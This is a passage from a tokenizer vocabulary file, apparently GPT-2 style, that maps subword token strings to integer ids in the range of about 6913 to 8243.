6913, "\u0120Click": 6914, "\u0120desk": 6915, "\u0120Valley": 6916, "\u0120Sov": 6917, "\u0120movies": 6918, "\u0120remark": 6919, "\u0120mail": 6920, "\u0120conscious": 6921, "\u0120ruling": 6922, "\u0120Rights": 6923, "\u0120medic": 6924, "hent": 6925, "\u0120Women": 6926, "><": 6927, "\u0120replaced": 6928, "\u0120Prem": 6929, "\u0120Thanks": 6930, "\u0120renew": 6931, "\u0120Ball": 6932, "iform": 6933, "\u0120shots": 6934, "Comm": 6935, "\u0120armed": 6936, "\u0120constant": 6937, "\u0120taste": 6938, "\u0120realized": 6939, "\u0120buff": 6940, "\u0120mo": 6941, "\u0120efficient": 6942, "Most": 6943, "oration": 6944, "ifies": 6945, "\u0120communication": 6946, "\u0120flood": 6947, "\u0120consequences": 6948, "\u0120anyway": 6949, "igg": 6950, "\u0120GM": 6951, "\u0120Thank": 6952, "\u0120iron": 6953, "\u0120evolution": 6954, "\u0120Cop": 6955, "twitter": 6956, "\u012095": 6957, "\u0120relationships": 6958, "adel": 6959, "\u0120Young": 6960, "\u0120proposal": 6961, "ayers": 6962, "uilding": 6963, "\u0120Hot": 6964, "ORE": 6965, "cos": 6966, "\u0120collabor": 6967, "PG": 6968, "axy": 6969, "\u0120knowing": 6970, "\u0120supports": 6971, "owed": 6972, "\u0120controls": 6973, "\u0120merely": 6974, "umer": 6975, "\u0120athlet": 6976, "\u0120fashion": 6977, "path": 6978, "\u0120gift": 6979, "\u0120era": 6980, "AND": 6981, "\u0120kinds": 6982, "\u0120Korean": 6983, "\u0120legit": 6984, "ulous": 6985, "\u0120essentially": 6986, "\u0120therap": 6987, "nic": 6988, "\u0120suffered": 6989, "\u0120hur": 6990, "\u0120promise": 6991, "\u0120excess": 6992, "\u0120overw": 6993, "\u0120prime": 6994, "\u0120Houston": 6995, "erry": 6996, "\u0120Ms": 6997, "RS": 6998, "2012": 6999, "\u0120stores": 7000, "\u0120Olymp": 7001, "\u0120journey": 7002, "Although": 7003, "Sub": 7004, "\u0120Educ": 7005, "\u0120Chapter": 7006, "\u0120requests": 7007, "\u0120consumers": 7008, "\u0120tiny": 7009, "\u0120isol": 7010, "\u0120Fair": 7011, "ba": 7012, "\u0120YOU": 7013, "\u0120crash": 7014, "celer": 7015, "\u0120emotional": 7016, "\u0120goods": 7017, "\u0120elected": 7018, "\u0120moder": 7019, "\u0120Linux": 7020, "\u0120blocks": 7021, "\u0120island": 7022, "\u0120Society": 7023, "\u0120elections": 7024, "\u0120broadcast": 7025, "\u0120cheap": 7026, "\u0120nations": 7027, "\u0120seasons": 7028, "400": 7029, "\u0120waste": 7030, "\u0120Sat": 7031, "\u0120fields": 7032, "employ": 7033, "\u0120profile": 7034, "\u0120authors": 7035, "ALL": 7036, "\u0120Gra": 7037, "west": 7038, "\u0120Ty": 7039, "\u0120deaths": 7040, "\u0120vacc": 7041, "\u0120formed": 7042, "\u0120du": 7043, "\u0120ongoing": 7044, "\u0120Muslims": 7045, "elf": 7046, "igure": 7047, "\u0120assume": 7048, "\u0120Ukraine": 7049, "water": 7050, "\u0120coast": 7051, "\u0120voted": 7052, "gor": 7053, "\u0120AS": 7054, "\u0120Michigan": 7055, "aza": 7056, "\u0120Arm": 7057, "iro": 7058, "\u0120flex": 7059, "asters": 7060, "''": 7061, "\u0120welcome": 7062, "arl": 7063, "\u0120locations": 7064, "igation": 7065, "\u0120Fil": 7066, "\u0120buying": 7067, "\u0120architect": 7068, "\u0120harder": 7069, "\u0120Cub": 7070, "\u0120interface": 7071, "\u0120restaurant": 7072, "\u0120discover": 7073, "\u0120exceed": 7074, "\u0120favour": 7075, "gery": 7076, "\u0120duty": 7077, "\u0120pitch": 7078, "ador": 7079, "\u0120Mach": 7080, "boy": 7081, "\u0120responded": 7082, "\u0120extended": 7083, "hers": 7084, "Many": 7085, "raid": 7086, "ifer": 7087, "\u0120Ins": 7088, "Ser": 7089, "\u0120medium": 7090, "she": 7091, "\u0120Sports": 7092, "\u0120magazine": 7093, "utation": 7094, "\u0120limits": 7095, "\u0120Gall": 7096, "\u0120external": 7097, "razil": 7098, "\u0120younger": 7099, "tle": 7100, "\u0120remind": 7101, "\u0120CON": 7102, "\u0120immediate": 7103, "\u0120hidden": 7104, "\u0120volunte": 7105, "\u0120simpl": 7106, "odcast": 7107, "\u0120phase": 7108, "dr": 7109, "\u0120plot": 7110, "\u0120exposure": 7111, "RI": 7112, "ograp": 7113, "vin": 7114, "anish": 7115, "\u0120Acad": 7116, "\u0120Engine": 7117, "\u0120expansion": 7118, "\u0120Pay": 7119, "Your": 7120, "\u0120pushed": 7121, "\u0120Ell": 7122, "\u0120Head": 7123, "\u0120marketing": 7124, "\u0120AC": 7125, "ket": 7126, "\u0120hits": 7127, "\u0120gro": 7128, "\u0120Age": 7129, "\u0120Scot": 7130, "][": 7131, "\u0120stim": 7132, "\u0120iPhone": 7133, "\u012a\u0134": 7134, "\u0120narrow": 7135, "\u0120Getty": 7136, "\u0120Turkey": 7137, "\u0120perfectly": 7138, "\u0120enable": 7139, "utch": 7140, "\u0120precise": 7141, "\u0120regime": 7142, "\u0120shif": 7143, "\u0120compens": 7144, "gun": 7145, "div": 7146, "\u0120chosen": 7147, "\u0120Ken": 7148, "Any": 7149, "\u0120trees": 7150, "\u0120recommended": 7151, "\u0120Ren": 7152, "uable": 7153, "\u0120HT": 7154, "Follow": 7155, "EG": 7156, "\u0120Hand": 7157, "\u0120Kenn": 7158, "\u0120arguments": 7159, "\u0120exists": 7160, "\u0120bike": 7161, "\u0120Conserv": 7162, "\u0120breaking": 7163, "\u0120Gar": 7164, "\u0120crazy": 7165, "\u0120virtual": 7166, "aylor": 7167, "ixel": 7168, "\u01201980": 7169, "\u0120permission": 7170, "\u0120Series": 7171, "\u0120consumer": 7172, "\u0120closely": 7173, "called": 7174, "\u012054": 7175, "\u0120hopes": 7176, "\u0120array": 7177, "\u0120Win": 7178, "\u0120Labour": 7179, "\u0120spons": 7180, "\u0120Ire": 7181, "\u0120pow": 7182, "\u0120readers": 7183, "\u0120employment": 7184, "\u0120creature": 7185, "\u0120resulting": 7186, "\u0120accurate": 7187, "\u0120moments": 7188, "\u0120argued": 7189, "\u0120ped": 7190, "During": 7191, "\u012053": 7192, "\u0120Tal": 7193, "\u0120sought": 7194, "\u0120suffering": 7195, "\u0120icon": 7196, "lee": 7197, "\u0120($": 7198, "alian": 7199, "\u00c2\u00b0": 7200, "\u0120pra": 7201, "\u0120bonus": 7202, "(\"": 7203, "ko": 7204, "\u0120acting": 7205, "DE": 7206, "fall": 7207, "\u0120comparison": 7208, "\u0120smooth": 7209, "\u0120NAS": 7210, "upp": 7211, "\u0120Joseph": 7212, "eping": 7213, "\u0120Take": 7214, "\u0120Mid": 7215, "\u0120sending": 7216, "fast": 7217, "\u0120Fall": 7218, "\u0120dealing": 7219, "user": 7220, "\u0120Organ": 7221, "Co": 7222, "\u0120attached": 7223, "\u0120sees": 7224, "%.": 7225, "\u0120typical": 7226, "ART": 7227, "\u0120finds": 7228, "\u0120Asia": 7229, "umin": 7230, "\u0120Core": 7231, "\u0120Ent": 7232, "inent": 7233, "uce": 7234, "\u0120Blood": 7235, "\u0120Never": 7236, "\u0120emails": 7237, "\u0120highlight": 7238, "\u0120confront": 7239, "atus": 7240, "uted": 7241, "\u0120unus": 7242, "\u0120topic": 7243, "\u0120Adam": 7244, "\u0120ble": 7245, "ati": 7246, "\u0120understood": 7247, "Set": 7248, "struct": 7249, "TP": 7250, "\u0120mob": 7251, "aa": 7252, "\u0120Start": 7253, "pected": 7254, "sell": 7255, "\u0120dedicated": 7256, "\u0120CA": 7257, "uan": 7258, "\u0120songs": 7259, "escription": 7260, "\u0120tech": 7261, "\u0120rape": 7262, "\u0120aside": 7263, "\u0120grant": 7264, "\u012056": 7265, "sub": 7266, "\u0120argue": 7267, "\u0120containing": 7268, "\u0120schedule": 7269, "\u0120liberal": 7270, "\u0120publicly": 7271, "\u0120heavily": 7272, "\u0120Ut": 7273, "iner": 7274, "\u0120Section": 7275, "\u0120Care": 7276, "weet": 7277, "ls": 7278, "Dis": 7279, "\u00e2\u0136\u0122": 7280, "\u0120Follow": 7281, "Back": 7282, "\u0120IT": 7283, "\u0120bes": 7284, "ji": 7285, "\u0120Hit": 7286, "ested": 7287, "\u0120everybody": 7288, "\u0120Swed": 7289, "\u0120femin": 7290, "\u0120facilities": 7291, "\u0120conven": 7292, "Comp": 7293, "\u0120OS": 7294, "core": 7295, "\u0120anx": 7296, "\u0120division": 7297, "\u0120Cam": 7298, "\u0120Stan": 7299, "mates": 7300, "\u0120explore": 7301, "plom": 7302, "\u0120shares": 7303, "pload": 7304, "anes": 7305, "\u0120ideal": 7306, "eters": 7307, "\u0120Base": 7308, "\u0120plastic": 7309, "\u0120distinct": 7310, "\u0120Network": 7311, "\u0120Seattle": 7312, "\u0120trading": 7313, "ensus": 7314, "intend": 7315, "\u0120exhib": 7316, "\u0120initially": 7317, "\u0120Food": 7318, "\u0120thousand": 7319, "\u0120Business": 7320, "acter": 7321, "\u0120paragraph": 7322, "\u0120roughly": 7323, "\u0120www": 7324, "\u0120creative": 7325, "\u0120Conf": 7326, "\u0120consumption": 7327, "\u0120films": 7328, "agan": 7329, "\u0120obtain": 7330, "\u0120tall": 7331, "\u0120tor": 7332, "\u0120acknowled": 7333, "\u0120grown": 7334, "alo": 7335, "KE": 7336, "\u0120400": 7337, "enders": 7338, "taining": 7339, "UG": 7340, "\u0120suicide": 7341, "\u0120watched": 7342, "\u0120List": 7343, "ali": 7344, "rehens": 7345, "\u0120surrounding": 7346, "\u0120pip": 7347, "\u0120flying": 7348, "\u0120Java": 7349, "ordan": 7350, "\u0120serving": 7351, "inations": 7352, "post": 7353, "\u0120sho": 7354, "Av": 7355, "\u0120jail": 7356, "zy": 7357, "\u01201999": 7358, "\u0120</": 7359, "\u0120literally": 7360, "\u0120Sir": 7361, "\u0120exposed": 7362, "\u0120lies": 7363, "star": 7364, "\u0120bat": 7365, "\u0120earned": 7366, "\u0120Dig": 7367, "\u0120specified": 7368, "\u0120Season": 7369, "\u0120degrees": 7370, "Donald": 7371, "\u0120centre": 7372, "\u0120sharing": 7373, "\u0120winter": 7374, "\u0120CO": 7375, "Che": 7376, "\u0120\u00ce": 7377, "MP": 7378, "\u0120unw": 7379, "\u0120fewer": 7380, "\u0120Mir": 7381, "\u0120somewhere": 7382, "\u0120Key": 7383, "\u0120attacked": 7384, "\u0120Kir": 7385, "\u0120domain": 7386, "\u0120stronger": 7387, "\u012099": 7388, "\u0120penalty": 7389, "Id": 7390, "Script": 7391, "\u0120declined": 7392, "\u0120neck": 7393, "\u0120fraud": 7394, "\u0120currency": 7395, "\u0120rising": 7396, "RC": 7397, "\u00e2\u0122\u00a6\u00e2\u0122\u00a6": 7398, "Hz": 7399, "\u0120tab": 7400, "\u0120talent": 7401, "nam": 7402, "\u0120NBA": 7403, "\u0120village": 7404, "\u0120legs": 7405, "\u0120Next": 7406, "Ed": 7407, "\u0120acid": 7408, "\u0120hyd": 7409, "800": 7410, "\u0120involving": 7411, "\u0120Image": 7412, "\u0120Before": 7413, "Fl": 7414, "\u0120yesterday": 7415, "Source": 7416, "\u0120terrorist": 7417, "\u0120sup": 7418, "\u0120synt": 7419, "\u0120Saudi": 7420, "\u0120west": 7421, "\u0120ru": 7422, "burg": 7423, "\u0120visible": 7424, "\u0120struck": 7425, "rison": 7426, "\u0120awesome": 7427, "\u0120drawn": 7428, "\u0120answers": 7429, "\u0120Girl": 7430, "\u0120Ram": 7431, "\u0120threats": 7432, "\u0120defeat": 7433, "osit": 7434, "\u0120vent": 7435, "aturally": 7436, "American": 7437, "enda": 7438, "\u0120Holy": 7439, "\u0120rum": 7440, "%,": 7441, "case": 7442, "\u0120History": 7443, "\u0120YouTube": 7444, "\u0120situations": 7445, "\u0120DNA": 7446, "Ste": 7447, "\u0120saved": 7448, "Item": 7449, "\u0120recip": 7450, "ologist": 7451, "\u0120faced": 7452, "\u0120elig": 7453, "Once": 7454, "\u0120Li": 7455, "uh": 7456, "\u0120mistake": 7457, "\u0120Division": 7458, "\u0120Bell": 7459, "\u0120symptoms": 7460, "\u00c2\u00ae": 7461, "\u0120domin": 7462, "\u0120falling": 7463, "\u0120ending": 7464, "ashes": 7465, "\u0120matches": 7466, "\u0120Online": 7467, "\u0120explanation": 7468, "Def": 7469, "redit": 7470, "\u0120anymore": 7471, "\u0120Total": 7472, "\u0120FOR": 7473, "ushed": 7474, "\u0120letters": 7475, "\u0120risks": 7476, "\u0120OK": 7477, "\u0120reportedly": 7478, ":\\": 7479, "\u0120plate": 7480, "\u0120subjects": 7481, "\u0120attempted": 7482, "ifier": 7483, "iana": 7484, "\u0120unlikely": 7485, "\u0120Though": 7486, "uma": 7487, "\u0120Invest": 7488, "\u0120Prin": 7489, "ican": 7490, "\u0120Dar": 7491, "\u0120Colorado": 7492, "aug": 7493, "\u0120veget": 7494, "aos": 7495, "ria": 7496, "\u0120shel": 7497, "\u0120marked": 7498, "\u0120()": 7499, "\u0120spr": 7500, "po": 7501, "\u0120Link": 7502, "\u0120defe": 7503, "\u0120Jr": 7504, "\u0120theme": 7505, "\u0120passion": 7506, "\u0120Pen": 7507, "\u0120info": 7508, "izer": 7509, "\u0120shit": 7510, "\u0120Civil": 7511, "apse": 7512, "cre": 7513, "\u0120poly": 7514, "\u0120component": 7515, "\u0120Charles": 7516, "\u0120Ireland": 7517, "\u0120Prov": 7518, "\u0120doctors": 7519, "\u0120granted": 7520, "\u0120paint": 7521, "\u0120honor": 7522, "\u0120smoke": 7523, "\u0120payments": 7524, "\u0120primarily": 7525, "\u0120Kingdom": 7526, "rich": 7527, "atell": 7528, "\u0120deals": 7529, "\u0120scheduled": 7530, "\u0120fundamental": 7531, "\u0120protein": 7532, "\u0120newspaper": 7533, "\u0120clients": 7534, "ython": 7535, "\u0120Date": 7536, "hus": 7537, "\u0120feedback": 7538, "\u0120stretch": 7539, "\u0120cock": 7540, "\u0120hotel": 7541, "\u0120Queen": 7542, "\u0120sugar": 7543, "\u0120ju": 7544, "\u0120milk": 7545, "\u0120approval": 7546, "\u0120Live": 7547, "\u0120equivalent": 7548, "efully": 7549, "\u0120insert": 7550, "zona": 7551, "\u0120extension": 7552, "dri": 7553, "John": 7554, "\u0120accomp": 7555, "Sm": 7556, "\u0120Fund": 7557, "\u0120constantly": 7558, "\u0120``": 7559, "\u0120generated": 7560, "\u0120Action": 7561, "\u0120Psych": 7562, "\u0120Tri": 7563, "\u0120recognize": 7564, "\u0120vary": 7565, "pha": 7566, "\u0120Ra": 7567, "df": 7568, "etch": 7569, "\u0120Soviet": 7570, "Two": 7571, "\u0120patterns": 7572, "\u0120profession": 7573, "aning": 7574, "Time": 7575, "\u0120Lim": 7576, "\u0120colors": 7577, "\u0120Az": 7578, "\u0120TR": 7579, "\u0120infect": 7580, "\u0120phenomen": 7581, "\u0120shell": 7582, "Also": 7583, "\u0120puts": 7584, "\u0120delivery": 7585, "\u0120brown": 7586, "\u0120processing": 7587, "\u0120lights": 7588, "essage": 7589, "\u0120Brook": 7590, "\u0120Aud": 7591, "lation": 7592, "\u0120industrial": 7593, "Like": 7594, "\u0120Brazil": 7595, "rous": 7596, "ESS": 7597, "\u0120Luc": 7598, "\u0120somehow": 7599, "\u012085": 7600, "\u0120proport": 7601, "\u0120politicians": 7602, "\u0120indicate": 7603, "\u0120hole": 7604, "\u0120techniques": 7605, "\u0120competitive": 7606, "\u0120phr": 7607, "\u0120vo": 7608, "istent": 7609, "\u0120Dream": 7610, "\u0120campus": 7611, "\u0120aspects": 7612, "\u0120helpful": 7613, "\u0120shield": 7614, "orse": 7615, "\u0120trigger": 7616, "mal": 7617, "\u012058": 7618, "\u0120tort": 7619, "\u0120personally": 7620, "\u0120tag": 7621, "\u0120keeps": 7622, "\u0120Video": 7623, "\u0120bench": 7624, "\u0120gap": 7625, "aire": 7626, "\u0120east": 7627, "\u0120recovery": 7628, "perial": 7629, "\u0120profit": 7630, "\u0120Mic": 7631, "\u012057": 7632, "\u0120colon": 7633, "\u0120strongly": 7634, "style": 7635, "\u0120allegations": 7636, "han": 7637, "\u0120reporters": 7638, "jo": 7639, "rine": 7640, "arget": 7641, "andal": 7642, "\u012003": 7643, "\u0120flash": 7644, "trans": 7645, "\u0120strict": 7646, "\u0120parking": 7647, "\u0120Pakistan": 7648, "\u0120li": 7649, "\u0120weird": 7650, "\u0120Eric": 7651, "\u0120regions": 7652, "\u0120Jun": 7653, "\u0120intellect": 7654, "\u0120WH": 7655, "oding": 7656, "ributes": 7657, "upid": 7658, "\u0120Tit": 7659, "\u0120finger": 7660, "oria": 7661, "\u0120elev": 7662, "\u0120Field": 7663, "\u0120conclusion": 7664, ";;": 7665, "\u0120feelings": 7666, "\u0120extensive": 7667, "\u0120mixed": 7668, "\u0120neuro": 7669, "vy": 7670, "\u0120harass": 7671, "\u0120Circ": 7672, "ouch": 7673, "\u0120territory": 7674, "\u0120successfully": 7675, "Mar": 7676, "\u0120ingred": 7677, "\u0120overwhel": 7678, "\u0120layer": 7679, "View": 7680, "\u0120allies": 7681, "illance": 7682, "\u0120Three": 7683, "\u0120bunch": 7684, "\u0120normally": 7685, "\u0120networks": 7686, "\u0120sacr": 7687, "\u0120CIA": 7688, "bles": 7689, "\u0120chose": 7690, "\u0120opponents": 7691, "\u0120regardless": 7692, "\u0120franch": 7693, "\u0120pref": 7694, "\u0120Po": 7695, "\u0120bridge": 7696, "anna": 7697, "\u0120Silver": 7698, "\u0120wage": 7699, "page": 7700, "rior": 7701, "\u0120radical": 7702, "\u0120Little": 7703, "\u0120manip": 7704, "\u0120secretary": 7705, "\u0120gang": 7706, "DR": 7707, "FA": 7708, "\u0120decent": 7709, "\u0120Spirit": 7710, "\u0120uncle": 7711, "\u0120Development": 7712, "\u0120investors": 7713, "\u0120walls": 7714, "\u0120publish": 7715, "\u0120generate": 7716, "issions": 7717, "car": 7718, "\u0120promote": 7719, "\u0120cutting": 7720, "\u0120chest": 7721, "\u0120drinking": 7722, "\u0120collected": 7723, "\u012072": 7724, "\u0120hoping": 7725, "\u0120embr": 7726, "gorith": 7727, "\u0120warned": 7728, "\u0120instructions": 7729, "OG": 7730, "\u0120Did": 7731, "\u0120Agency": 7732, "\u0120gear": 7733, "\u0120criticism": 7734, "\u0120Further": 7735, "\u0120util": 7736, "anny": 7737, "Red": 7738, "\u0120counsel": 7739, "\u0120Asian": 7740, "\u0120reduction": 7741, "pool": 7742, "\u0120teaching": 7743, "\u0120deeply": 7744, "iy": 7745, "\u0120estimates": 7746, "\u0120choices": 7747, "\u0120permanent": 7748, "inem": 7749, "kel": 7750, "\u0120fasc": 7751, "pse": 7752, "file": 7753, "\u0120Low": 7754, "\u0120Person": 7755, "\u0120tournament": 7756, "stal": 7757, "\u0120mel": 7758, "UST": 7759, "\u0120Ray": 7760, "azi": 7761, "Val": 7762, "\u0120contained": 7763, "\u0120Holly": 7764, "\u0120wake": 7765, "\u0120reveal": 7766, "\u0120processes": 7767, "\u0120ISIS": 7768, "\u012009": 7769, "\u0120blind": 7770, "\u0120steel": 7771, "\u0120Bad": 7772, "\u0120carefully": 7773, "appy": 7774, "roit": 7775, "\u0120gaming": 7776, "\u0120houses": 7777, "\u0120Coll": 7778, "\u0120truck": 7779, "erm": 7780, "\u0120scored": 7781, "\u0120occas": 7782, "return": 7783, "bound": 7784, "var": 7785, "\u0120sharp": 7786, "\u0120afraid": 7787, "\u0120EX": 7788, "amber": 7789, "cific": 7790, "\u0120scheme": 7791, "NC": 7792, "\u0120Polit": 7793, "\u0120decline": 7794, "\u01201998": 7795, "\u0120pushing": 7796, "\u0120possession": 7797, "\u0120privile": 7798, "\u0120teachers": 7799, "\u0120yield": 7800, "HA": 7801, "\u0120Davis": 7802, "itled": 7803, "########": 7804, "\u0120rig": 7805, "\u0120Daniel": 7806, "acon": 7807, "\u0120hide": 7808, "uten": 7809, "\u0120colleagues": 7810, "\u0120principles": 7811, "\u0120loud": 7812, "\u0120sin": 7813, "\u0120Demon": 7814, "\u0120stone": 7815, "\u012002": 7816, "\u0120taught": 7817, "\u0120terrible": 7818, "\u0120stuck": 7819, "\u0120Policy": 7820, "teen": 7821, "\u0120implementation": 7822, "\u0120BBC": 7823, "\u0120API": 7824, "\u0120wheel": 7825, "allas": 7826, "\u0120champions": 7827, "olars": 7828, "player": 7829, "\u0120repeatedly": 7830, "\u0120Still": 7831, "\u0120likes": 7832, "asty": 7833, "ester": 7834, "\u0120Catholic": 7835, "RL": 7836, "\u0120bath": 7837, "\u0120noise": 7838, "title": 7839, "\u0120northern": 7840, "Part": 7841, "\u0120magn": 7842, "\u0120fab": 7843, "\u0120Ash": 7844, "\u0120displ": 7845, "\u0120ticket": 7846, "\u0120murd": 7847, "\u0120alongside": 7848, "\u0120Music": 7849, "\u0120river": 7850, "\u0120Steel": 7851, "\u0120CL": 7852, "\u0120Player": 7853, "\u0120Mult": 7854, "owing": 7855, "rep": 7856, "size": 7857, "\u0120tur": 7858, "\u0120Georgia": 7859, "iscal": 7860, "raction": 7861, "\u0120cable": 7862, "\u012059": 7863, "\u0120wins": 7864, "\u0120upcoming": 7865, "\u0120survive": 7866, "\u0120inspired": 7867, "\u0120Education": 7868, "\u0120statistics": 7869, "\u0120Foot": 7870, "iami": 7871, "\u0120yellow": 7872, "\u0120Page": 7873, ".-": 7874, "\u0120Has": 7875, "\u0120urban": 7876, "\u0120ax": 7877, "essel": 7878, "\\\"": 7879, "\u0120quarterback": 7880, "\u0120register": 7881, "\u0120Labor": 7882, "\u0120abilities": 7883, "\u0120Family": 7884, "\u0120variable": 7885, "\u0120Price": 7886, "\u0120contem": 7887, "\u0120thin": 7888, "\u0120Equ": 7889, "data": 7890, "\u0120gotten": 7891, "\u0120constit": 7892, "\u0120asks": 7893, "\u0120tail": 7894, "\u0120exciting": 7895, "\u0120Effect": 7896, "\u0120Spanish": 7897, "\u0120encourage": 7898, "inson": 7899, "\u0120Ah": 7900, "\u0120commitment": 7901, "CS": 7902, "\u0120rally": 7903, "\u0120::": 7904, "\u0120subsid": 7905, "\u0120spin": 7906, "\u0120captured": 7907, "2018": 7908, "\u0120innoc": 7909, "\u0120allegedly": 7910, "\u0120Come": 7911, "\u0120artists": 7912, "\u0120Number": 7913, "\u0120electronic": 7914, "\u0120regional": 7915, "apes": 7916, "\u0120wra": 7917, "\u0120myth": 7918, "prise": 7919, "\u0120Miller": 7920, "\u0120Creat": 7921, "\u0120Episode": 7922, "bell": 7923, "\u0120directed": 7924, "\u0120extract": 7925, "\u0120sorry": 7926, "\u0120vice": 7927, "agger": 7928, "\u0120Support": 7929, "\u012066": 7930, "\u0120Iron": 7931, "\u0120wonderful": 7932, "\u0120gra": 7933, "Net": 7934, "ione": 7935, "Eng": 7936, "\u0120ships": 7937, "ikes": 7938, "\u0120Kevin": 7939, "itar": 7940, "\u0120activists": 7941, "true": 7942, "\u0120Arizona": 7943, "enth": 7944, "\u0120Despite": 7945, "\u0120SE": 7946, "\u0120habit": 7947, "ernel": 7948, "\u0120inqu": 7949, "\u0120abortion": 7950, "\u0120void": 7951, "\u0120explicit": 7952, "\u0120engaged": 7953, "\u0120angry": 7954, "\u0120rating": 7955, "\u0120frag": 7956, "bro": 7957, "icking": 7958, "dev": 7959, "\u0120worried": 7960, "\u0120obser": 7961, "\u0120apartment": 7962, "\u0120GT": 7963, "\u0120estate": 7964, "\u0120Constitution": 7965, "emon": 7966, "\u0120Snow": 7967, "\u0120county": 7968, "\u0120disag": 7969, "\u0120Stephen": 7970, "\u0120immigrants": 7971, "wind": 7972, "\u0120Nations": 7973, "\u0120folks": 7974, "Out": 7975, "\u0120gall": 7976, "\u0120targeted": 7977, "\u0120stead": 7978, "\u0120Bon": 7979, "\u0120Lib": 7980, "\u0120informed": 7981, "\u0120120": 7982, "chain": 7983, "idelines": 7984, "orough": 7985, "\u0120driven": 7986, "\u0120regularly": 7987, "\u0120basket": 7988, "\u0120principle": 7989, "ocument": 7990, "\u0120stun": 7991, "ibilities": 7992, "\u0120Roman": 7993, "\u0120About": 7994, "\u0120alert": 7995, "\u0120democracy": 7996, "\u0120represented": 7997, "HS": 7998, "cers": 7999, "parent": 8000, "Art": 8001, "pack": 8002, "\u0120diplom": 8003, "rets": 8004, "\u0120NO": 8005, "\u0120capture": 8006, "\u0120Adv": 8007, "\u0126\u00a2": 8008, "\u0120announcement": 8009, "\u0120Lear": 8010, "\u0120hook": 8011, "\u0120purs": 8012, "\u0120Such": 8013, "\u0120Camer": 8014, "\u0120refugees": 8015, "\u0120Ve": 8016, "Pol": 8017, "\u0120recognized": 8018, "lib": 8019, "\u0120hadn": 8020, "Ass": 8021, "\u0120pilot": 8022, "ushing": 8023, "\u0120returning": 8024, "\u0120trail": 8025, "\u0120Stone": 8026, "\u0120routine": 8027, "\u0120courts": 8028, "\u0120desper": 8029, "\u0120friendly": 8030, "\u0120Italy": 8031, "\u0120pled": 8032, "\u0120breath": 8033, "\u0120studio": 8034, "NS": 8035, "\u0120impressive": 8036, "\u0120Afghanistan": 8037, "\u0120fing": 8038, "\u0120downt": 8039, "inking": 8040, "\u0120Rog": 8041, "iary": 8042, "color": 8043, "sex": 8044, "aron": 8045, "\u0120fault": 8046, "\u0120Nick": 8047, "Down": 8048, "\u0120Rose": 8049, "\u0120Southern": 8050, "XX": 8051, "isodes": 8052, "List": 8053, "600": 8054, "\u0120outcome": 8055, "err": 8056, "\u0120elsewhere": 8057, "\u0120retire": 8058, "\u0120pounds": 8059, "\u0120Global": 8060, "People": 8061, "\u0120communications": 8062, "\u0120loan": 8063, "\u0120ratio": 8064, "\u0120Empire": 8065, "\u0120gonna": 8066, "\u0120invent": 8067, "DF": 8068, "\u01201970": 8069, "\u0120Common": 8070, "pat": 8071, "\u0120promised": 8072, "\u0120dinner": 8073, "\u0120Hom": 8074, "\u0120creates": 8075, "\u0120operate": 8076, "verty": 8077, "\u0120Jordan": 8078, "etime": 8079, "\u0120sustain": 8080, "Reg": 8081, "\u0120incredible": 8082, "ima": 8083, "\u0120warrant": 8084, "\u0120mm": 8085, "Att": 8086, "\u0120lawsuit": 8087, "\u0120reviews": 8088, "iture": 8089, "\u0120Source": 8090, "lights": 8091, "\u0120Ford": 8092, "\u012063": 8093, "group": 8094, "store": 8095, "\u0120featured": 8096, "\u0120forever": 8097, "\u0120poverty": 8098, "\u0120Pop": 8099, "\u0120CNN": 8100, "azz": 8101, "abis": 8102, "aching": 8103, "\u0120laid": 8104, "\u0120Supp": 8105, "\u0120filter": 8106, "ena": 8107, "\u0120Community": 8108, "\u0120creatures": 8109, "uction": 8110, "\u0120Royal": 8111, "\u0120association": 8112, "\u0120Connect": 8113, "\u0120Brad": 8114, "\u00e2\u0138\u012a": 8115, "lers": 8116, "there": 8117, "\u0120Gi": 8118, "\u0120valuable": 8119, "ACK": 8120, "\u0120Taylor": 8121, "\u0120liquid": 8122, "\u0120Attorney": 8123, "\u0120Carl": 8124, "\u0120Final": 8125, "aga": 8126, "\u0120Wilson": 8127, "Because": 8128, "\u0120Professor": 8129, "aka": 8130, "\u0120incredibly": 8131, "rance": 8132, "!)": 8133, "Ref": 8134, "sk": 8135, "\u0120solutions": 8136, "\u0120atmosphere": 8137, "\u0120blame": 8138, "umes": 8139, "\u0120Nob": 8140, "CA": 8141, "umps": 8142, "rical": 8143, "\u0120Putin": 8144, "\u0120Dest": 8145, "oric": 8146, "\u0120PA": 8147, "\u0120respectively": 8148, "wan": 8149, "\u0120fifth": 8150, "\u00e2\u0126\u00a2": 8151, "\u0120Cry": 8152, "\u0120governor": 8153, "resident": 8154, "\u0120purchased": 8155, "\u0120hack": 8156, "\u0120intense": 8157, "obs": 8158, "\u0120origin": 8159, "\u0120define": 8160, "\u0120careful": 8161, "***": 8162, "\u0120shoulder": 8163, "Click": 8164, "\u0120tied": 8165, "\u0120destruction": 8166, "oured": 8167, "\u0120nobody": 8168, "\u0120ho": 8169, "\u0120Exper": 8170, "\u0120tip": 8171, "\";": 8172, "\u0120technique": 8173, "\u0120jur": 8174, "\u0120Pok": 8175, "bow": 8176, "\u0120legend": 8177, "\u0120accord": 8178, "\u0120busy": 8179, "\u0120Intel": 8180, "\u0120hang": 8181, "aki": 8182, ".]": 8183, "\u00e2\u0122\u0136\u00e2\u0122\u0136\u00e2\u0122\u0136\u00e2\u0122\u0136": 8184, "\u0120surgery": 8185, "\u0120reprodu": 8186, "\u0120uniform": 8187, "\u0120scenes": 8188, "code": 8189, "\u012062": 8190, "lisher": 8191, "\u0120Have": 8192, "phia": 8193, "\u0120crypt": 8194, "\u0120recon": 8195, "\u0120scream": 8196, "\u0120adopted": 8197, "\u0120scores": 8198, "Ne": 8199, "\u0120Italian": 8200, "including": 8201, "BO": 8202, "\u0120indicated": 8203, "\u0120entertain": 8204, "Gu": 8205, "Text": 8206, "iel": 8207, "\u0120twenty": 8208, "\u0120engage": 8209, "offs": 8210, "\u0120Pacific": 8211, "\u0120smile": 8212, "\u0120personnel": 8213, "\u0120toler": 8214, "\u0120doors": 8215, "\u0120tone": 8216, "\u0120machines": 8217, "\u0120entering": 8218, "tenance": 8219, "CO": 8220, "\u0120Jersey": 8221, "\u0120forest": 8222, "\u0120horse": 8223, "\u0120complaint": 8224, "\u0120Spring": 8225, "yo": 8226, "\u0120Plus": 8227, "eding": 8228, "\u0120Return": 8229, "quarters": 8230, "ials": 8231, "cow": 8232, "\u0120academic": 8233, "\u0120fruit": 8234, "\u01201996": 8235, "ogether": 8236, "\u0120wine": 8237, "\u0120pursu": 8238, "\u0120Steven": 8239, "\u0120licens": 8240, "Who": 8241, "\u0120clothes": 8242, "rection": 8243, 